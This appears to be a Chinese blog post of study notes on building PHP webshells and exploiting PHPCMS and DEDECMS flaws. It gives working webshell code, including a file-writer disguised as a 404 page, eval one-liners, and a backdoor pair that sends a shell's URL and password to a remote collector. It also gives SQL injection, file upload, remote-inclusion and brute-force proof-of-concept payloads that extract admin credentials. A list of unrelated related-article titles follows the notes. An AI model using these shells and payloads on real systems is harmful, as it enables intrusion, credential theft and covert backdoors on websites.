PHP工具开发

文章目录

  • PHP工具开发
    • PHP小马
    • 一句话木马
    • PHP大马分析
    • 实现大马后门
    • 编写大马
  • PHP的cms二次开发
  • PHP常见CMS的漏洞分析
    • PHPstorm调试模式
    • PHPCMSv9.2上传漏洞
    • PHPCMSv9.6.0文件上传
    • PHPCMSv9.6.0wap端sql注入
    • PHPCMSV9.6.1任意文件读取
    • PHPcmsv9暴力破解备份数据库名
  • DEDECMS漏洞分析
    • DEDECMS重装漏洞
    • DEDECMS远程文件包含
    • DEDECMSdownload文件SQL注入
    • DEDECMSrecommend文件SQL注入

PHP小马

  • 简单隐藏
  • 登陆密码
  • 实现写入文件
<?php
$pass = '14e1b600b1fd579f47433b88e8d85291'; #123456$get = $_GET['pass'];
if (!empty($get)) {if (md5(md5($get))) {if (!empty($_POST)) {$path=$_POST['filepath'];$content=$_POST['filecontent'];# 文件写入$statement=fopen($path,"w");# fopen('文件路径','打开模式')if(fwrite($statement,$content))# fwrite('文件路径','文件内容'),成功返回字符数,失败返回false{echo '<font color="red">success</font><br/>';}else{echo '<font color="red">error!</font><br/>';}}echo '服务器ip:    ' . $_SERVER['HTTP_HOST'] . '      ' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';echo '绝对路径:    ' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';echo '当前目录:    ' . __DIR__ . '<br/>';echo '<form action="" method="post">';echo '文件路径 <br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';echo '文件内容 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';echo '<input type="submit" value="submit">';echo '</form>';} else {echo 'password is worry';}
} else {?><!--第二部分-404报错界面--> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p></body><?php
}
?>
<!-- else 的结束右括号 -->

一句话木马

原理分析

eval:把字符串当作 php 代码执行

<?php @eval($_POST['aa'])?>
?aa=fwrite(fopen('shell.php','w'),'<?php system('ls');?>')

assert:同 eval

抓包分析

使用 WSExploer 抓包工具可以更具软件进程进行网络抓包

原始:

base64解密后

一句话木马变形写法

https://mp.weixin.qq.com/s/YH_LWRNb3T2QapWKlzybAg

正则

file_get_contents() 可以直接访问 url

PHP大马分析

网上的大马大都有后门,大马下载网站存在搜索引擎优化 seo

使用大马应先抓包看有没有后门

案例1:

这个大马回首先下载 404.gif,下载部分未后门一部分

使用 wireshark 抓包后看到后门会将 shell 的信息发送给远程服务器

案例二:

抓包结果

大马代码,这个大马会首先请求远程服务器,下载大马

首先解密 ascii

echo $get 即可,不要总想着看到加密后的就只想逆向解密,直接换成输出,简单高效

$get=file_get_contents()

$unzip=gzinflate

解密大马源码,找到后门,登陆时传输数据到后台

实现大马后门

前端大马 shell.php

<?php
$pass = 'admin';if (empty($_POST)) {echo '<form action="" method="post">';echo 'password <input type="text" name="password" >';echo '<input type="submit" value="submit">';echo '</form>';
} else {$password=$_POST['password'];echo $password;if ($password == $pass) {$url = 'http://localhost/demo/audit/dama/box.php';$path='?url='.$_SERVER['HTTP_REFERER'].'&password='.$password;echo  $path;file_get_contents($url.$path);}else{echo 'pass worry';}
}

后端箱子 box.php

<?phpif (!empty($_GET)) {$url=$_GET['url'];$f=fopen('data.txt','w');fwrite($f,$url);fwrite($f,'\r\n');fclose($f);
}

data.txt

http://localhost/demo/audit/dama/shell.php\r\n

编写大马

大马出现问题的修复

大部分是引用传参的问题导致的

  1. PHP版本问题

    1. 函数过期
    2. 函数用法变化
  2. 系统环境不支持

PHP的cms二次开发

  1. 自主开发
  2. 框架开发
  3. 二次开发

CMS

  • 门户cms

    • dedecms
    • phpcms
    • 帝国cms
  • 论坛

    • discuz(使用较多,腾讯收购)
    • phpwind
  • 博客

    • wordpress
    • typecho

框架

  • Thinkphp
  • Laravel
  • Yii
  • Zendframework

武汉大学国家网络安全学院登陆界面

http://cse.whu.edu.cn/index.php?s=/admin/public/login.html

PHP常见CMS的漏洞分析

phpcms目前已停止更新

PHPstorm调试模式

  1. 开启 phpstrom debug

​ phpstrom 设置成此状态

  1. 浏览器 xdebug 插件设置成 debug 模式

  2. 下断点

  3. 浏览器访问对应页面

phpstorm 快捷键

F7 单步进入(有函数,进入函数)

F8 单步步过(有函数,单步直接得到结果)

F9 直接运行,不调试

切换php版本

  1. 在 phpstudy 中切换 PHP 版本,并开启 xdebug 调试功能,配置对应端口9001

  1. 设置 php.ini 配置文件,添加一行
   xdebug.idekey = PHPSTORM
  1. 在 phpinfo 中检查 xdebug 安装程度(如果没有检测到重装php后重新配置即可)

  1. phpstorm需要添加 interpreters,会自动检测 xdebug

phpstorm里好像不用设置 php 版本也能用玄学

  1. phpstorm 调试窗口

点击小眼睛,watches 窗口就会合并到 variables 窗口

调试时,debug 会自动添加注释,辅助审计

  1. 设置连接时间,不设置的话没多长时间页面就会报 500 错误

设置方法:找到 PHPstudy 配置文件

添加两行

IPCConnectTimeout 3000
IPCCommTimeout 3000

重启服务生效

  1. 在使用 burp 进行抓包时可能会出现抓不到包的情况,需要将 ip 设为本机ip

PHPCMSv9.2上传漏洞

漏洞复现

  1. 用户上传头像处存在文件上传漏洞

  2. 准备一句话木马进行压缩

  3. 首先正常上传图片,再使用 burp 进行抓包将图片内容替换为压缩包内容

  4. 使用蚁剑连接一句话

漏洞原理

上传的文件解压缩后,会经过此函数

但之前上传的文件解压后是一个目录

漏洞修复

zip 文件导致

PHPCMSv9.6.0文件上传

漏洞复现

提前准备好一句话木马放到服务器里

1.txt
<?php eval($_REQUEST['shell']);?>

注册信息处,填写信息后使用 burp 抓包

替换为 poc

siteid=1&modelid=11&username=bb23349&password=123456&email=gyar3113@qq.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=# 每次需要更改username和email

成功连接 shell

漏洞原理

漏洞地址:index.php?m=member&c=index&a=register&siteid=1

poc 中使 modelid=11,属于逻辑漏洞,是用户错误的拥有了更多的权限

通过构造 payload 绕过检测

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{......if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;......
}foreach($matches[3] as $matche)# matches[3]=http://127.0.0.1/1.txt?.php
# http://127.0.0.1/1.txt?.php 就等同于 http://127.0.0.1/1.txt就去执行了下载

内容在进行数据库查询时因为修改了 modelid 所以会报错将 木马地址暴露出来

PHPCMSv9.6.0wap端sql注入

漏洞复现

报错注入

  1. 访问 index.php?m=wap&c=index&siteid=1 页面,抓包拿 cookie

gLBhn_siteid=90benCdHQRw1J2jVnHNf_Ezk-DK4ibtxfPqnKWH6

  1. 看图,访问 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

    userid_flash=

gLBhn_att_json=f78d1AYciWOEQYIBnAHD5fg1sWf8_UXWQcOVymfkXHzZ8cpEPp9Bn5DCswgbL3E30MbbffrLa7nu0ym018TwCBcEctXKaYVBtuV2LX93UorNkzjCq68v8oguQqgrXYwxnBF21Kupn_WoyTlDvZmgWCe7xRnl0fWWAj_rLt4_ti5oZp-pGJDqGVI
  1. 访问 /CMS/phpcms_v9.6.0_UTF8/install_package/index.php?m=content&c=down&a_k=f78d1AYciWOEQYIBnAHD5fg1sWf8_UXWQcOVymfkXHzZ8cpEPp9Bn5DCswgbL3E30MbbffrLa7nu0ym018TwCBcEctXKaYVBtuV2LX93UorNkzjCq68v8oguQqgrXYwxnBF21Kupn_WoyTlDvZmgWCe7xRnl0fWWAj_rLt4_ti5oZp-pGJDqGVI ,拿到数据库名

漏洞分析

先从第三个 pyload 开始逆推过程

parse_str() 会自动转码 url

解密后触发 sql 查询语句

漏洞修复

对解密后的语句进行过滤

PHPCMSV9.6.1任意文件读取

漏洞复现

  1. 访问 /index.php?m=wap&c=index&siteid=1,拿到 siteid

  2. post /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3Dindex%26f%3D.p%25253chp

漏洞修复

先去除尖括号,再判断后缀名

PHPcmsv9暴力破解备份数据库名

漏洞复现

phpcms,有备份数据库的功能

在目录中可以直接下载,但是文件名字很复杂

poc:

/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql

漏洞分析

windows 的 FindFirstFile(API)有个特性就是可以把 << 当作通配符来用,而 PHP 的 opendir(win32readdir.c) 就是用了该 API ,PHP 文件操作函数调用了 opendir,所以 file_exists 也有通配符特性

file_exists(3234324.sql) == file_exists(3<<.sql)

 if(file_exists($fontfile)){......} else {......}
#!/usr/bin/env python2
# coding=utf-8
'''
author: dysec
'''import urllib2def check(url):mark = Truereq = urllib2.Request(url)req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')response = urllib2.urlopen(req)content = response.read()if 'Cannot' in content:mark = Falsereturn markdef guest(target):arr = []num = map(chr, range(48, 58))alpha = map(chr, range(97, 123))exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'while True:for char in num:if check(exploit % (target, ''.join(arr), char)):arr.append(char)continueif len(arr) < 20:for char in alpha:if check(exploit % (target, ''.join(arr), char)):arr.append(char)continueelif len(arr) == 20:arr.append('_db_')elif len(arr) == 29:arr.append('_1.sql')breakif len(arr) < 1:print '[*]not find!'returnprint '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))if __name__ == "__main__":url = 'http://127.0.0.1/CMS/phpcms_v9.6.0_UTF8/install_package'#testguest(url)

未成功

DEDECMS漏洞分析

DEDECMS重装漏洞

漏洞原理

apache 解析漏洞 index.php.bak 会被解析为 php

dedecms 安装成功后回生成 index.php.bak 文件,此文件存在变量覆盖漏洞

$insLockfile = dirname(__FILE__).'/install_lock.txt';
.....
if(file_exists($insLockfile))
{exit(" ���������а�װ�������ȷ��Ҫ���°�װ�����ȴ�FTP��ɾ�� install/install_lock.txt��");
}# ?inslockfile=22

在覆盖安装时,数据库可以连接自己搭建的数据库,完成安装,进入后台找其他漏洞点

DEDECMS远程文件包含

查看dedecms版本 /data/admin/ver.txt

漏洞复现

漏洞点主要还是变量覆盖的问题,原本变量 updateHost 是 dedecms 的远程升级 url,通过变量覆盖下载提前放好的一句话木马文件

pochttp://www.d.com/install/index.php.bak?insLockfile=1http://www.a.com/dedecms/demodata.a.txthttp://www.d.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php[×] 远程获取失败http://www.d.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=1720.php&updateHost=http://www.a.com/[√] 存在(您可以选择安装进行体验)
即可生成http://www.d.com/install/1720.php    密码 x

DEDECMSdownload文件SQL注入

条件:1. cms 版本<20130425 20120430 2. php关闭mysqli

DEDECMSrecommend文件SQL注入

条件:cms 版本 <20140201 5.7

漏洞复现

POC

/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

漏洞分析

poc 可以分为几个部分

/plus/recommend.php?
action=
&aid=1
&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=111

sql 语句解释

1.
mysql> select id from dede_admin;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)2.
mysql> /*select id from dede_admin*/;
ERROR:
No query specified
# /**/在 MySQL 中表示注释符,所以此处不执行3.
mysql> /*!50000select id from dede_admin*/;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
# /*!50000*/在表示 MySQL 版本在5.0以上的执行,同理5000可以替换成其他数字4.
mysql> select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    8
Current database: dedecmsv57gbk+------------------------------+
| CONCAT(0x7c,userid,0x7c,pwd) |
+------------------------------+
| |admin|f297a57a5a743894a0e4  |
+------------------------------+
1 row in set (0.01 sec)
# 这条语句爆出用户名和密码
# reconmmend.php
require_once(dirname(__FILE__)."/../include/common.inc.php");
1.
if(!get_magic_quotes_gpc()){if( is_array($svar) ){foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);}else{$svar = addslashes($svar);}}
$svar=\\\' or mid=@`\\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\\'` 2.function SetQuery($sql){$prefix="#@__";$sql = str_replace($prefix,$this->dbPrefix,$sql);$this->queryString = $sql;}SELECT s.*,t.* FROM `dede_member_stow` AS s LEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' AND s.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` '3.
// recommend.php
$arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");
GetOne 进入下面文件
// dedesqli.class.php
//如果是普通查询语句,直接过滤一些特殊语法if($querytype=='select'){$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";//$notallow2 = "--|/\*";if(preg_match("/".$notallow1."/", $db_string)){fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");}}
通过判断关键是否存在特殊字符进行过滤,使用 /*!50000*/ 绕过//完整的SQL检查while (TRUE){$pos = strpos($db_string, '\'', $pos + 1);if ($pos === FALSE){break;}$clean .= substr($db_string, $old_pos, $pos - $old_pos);while (TRUE){$pos1 = strpos($db_string, '\'', $pos + 1);$pos2 = strpos($db_string, '\\', $pos + 1);if ($pos1 === FALSE){break;}elseif ($pos2 == FALSE || $pos2 > $pos1){$pos = $pos1;break;}$pos = $pos2 + 1;}$clean .= '$s$';$old_pos = $pos + 1;}......

改进版本的poc

/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23
        {$pos = $pos1;break;}$pos = $pos2 + 1;}$clean .= '$s$';$old_pos = $pos + 1;}
......

改进版本的poc```url
/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23

PHP漏洞利用工具开发,PHPcms二次开发,PHPcms,DEDEcms简单代码审计相关推荐

  1. Sundown EK:漏洞利用工具中的抄袭大师

    简介 Sundown是目前市场上最新款的漏洞利用工具,而Sundown的作者也成功地证明了自己其实就是一个抄袭大师.不知道这种"借鸡生蛋"的事情被曝光之后,还有用户会买他的单吗? ...

  2. 7. Vulnerability exploitation tools (漏洞利用工具 11个)

    Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...

  3. expsky.php,Typecho漏洞利用工具首发,半分钟完成渗透

    原标题:Typecho漏洞利用工具首发,半分钟完成渗透 *本文原创作者:expsky,本文属FreeBuf原创奖励计划,未经许可禁止转载 声明:本工具由expsky原创,仅用于技术研究,不恰当使用会对 ...

  4. 部分CIA的漏洞利用工具干货请查收

    3月12日讯 CIA 辛辛苦苦几年攒的漏洞和工具"被"提交事件后,业内人士和记者都在仔细查看这些文件,各方都在关注事情进展. 相关阅读: 维基解密再曝美国情报机构惊天内幕 批露CI ...

  5. MS17-010漏洞利用工具系统入侵(实测)

    MS17-010漏洞利用工具系统入侵(实测) 一.打开kali和win7查看IP. (1) Windows7作为靶机 (2) Kali作为攻击机(最新版kaili) 二.打开kali进入终端输入nma ...

  6. ASP.net 资源请求漏洞利用工具PadBuster

    ASP.net 资源请求漏洞利用工具PadBuster 在ASP.net 网站中,为了便于部署网站项目,开发者往往会将资源(图片.Javascript文件)嵌入到dll文件中.而网页中,会使用WebR ...

  7. S2-045漏洞利用工具解决方案

    S2-045漏洞利用工具&解决方案 参考文章: (1)S2-045漏洞利用工具&解决方案 (2)https://www.cnblogs.com/sevck/p/6516268.html ...

  8. WPS漏洞利用工具Bully常见命令集合

    WPS漏洞利用工具Bully常见命令集合 Bully是一款利用路由的WPS漏洞来破解WiFi密码工具.相比Reaver工具,Bully提升了资源使用效率,并提供了更丰富的设置选项.

  9. WebDAV服务漏洞利用工具DAVTest

    WebDAV服务漏洞利用工具DAVTest WebDAV是基于Web服务的扩展服务.它允许用户像操作本地文件一样,操作服务器上的文件.借助该功能,用户很方便的在网络上存储自己的文件.为了方便用户使用, ...

  10. 不能执行已释放 script 的代码_[漏洞预警]CVE20190708远程桌面代码执行漏洞利用工具已放出...

    漏洞描述 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了许多版本的Windows操作系统.该漏洞在不需身份认证的情况下即可远程触发,危害与影 ...

最新文章

  1. Gartner:解开关于人工智能的六个迷思
  2. 急速收藏:4套iOS SDK的H5打通方案
  3. ahjesus解决win下U盘无法写入的问题
  4. Html5结合JS实现浏览器全屏功能
  5. Node.js——异步上传文件
  6. oracle 查看数据库性能,oracle 11G使用statspack查看数据库的性能
  7. 类名.this与this的区别
  8. 10692 XYM-入门之道
  9. excel对比两边数据去重
  10. KGB成功破解特朗普的秘密消息
  11. 条形码转化成二维码_在线条形码生成器
  12. Java项目-黄金矿工
  13. 阿里云 企业邮箱域名解析(DNS)
  14. 通过调试微信小程序示例代码解析flex布局参数功能(一)
  15. uniapp App端后台间隔时间发送定位功能实现
  16. matlab 读取脉冲数,已知一段波形,求脉冲个数,用代码实现
  17. 单用户登录记录互踢下线思路
  18. 什么是项目?项目有哪些特点?
  19. 计算机专业第五轮学科评估排名,第五轮学科评估排行榜-第二轮双一流淘汰名单预测...
  20. 数学の入门到入土 第1天

热门文章

  1. 使用ASP.NET制作Wap网站注意事项
  2. 关于http接口开发中json格式数据编码问题处理
  3. C++中必须用初始化列表的四种情况
  4. GLAD:多程放大器
  5. 通信协议详解(一):UART串口(协议+数据格式+设计实现)
  6. oracle sys dba 01031,SYS用户登录Oracle报错ORA-01031: insufficient privileges
  7. github如何删除项目
  8. 综合通用企业人事管理系统的设计与实现
  9. 大数据计算(Big Data Computing) (一)简介
  10. 大数据计算(分布式)--简单理解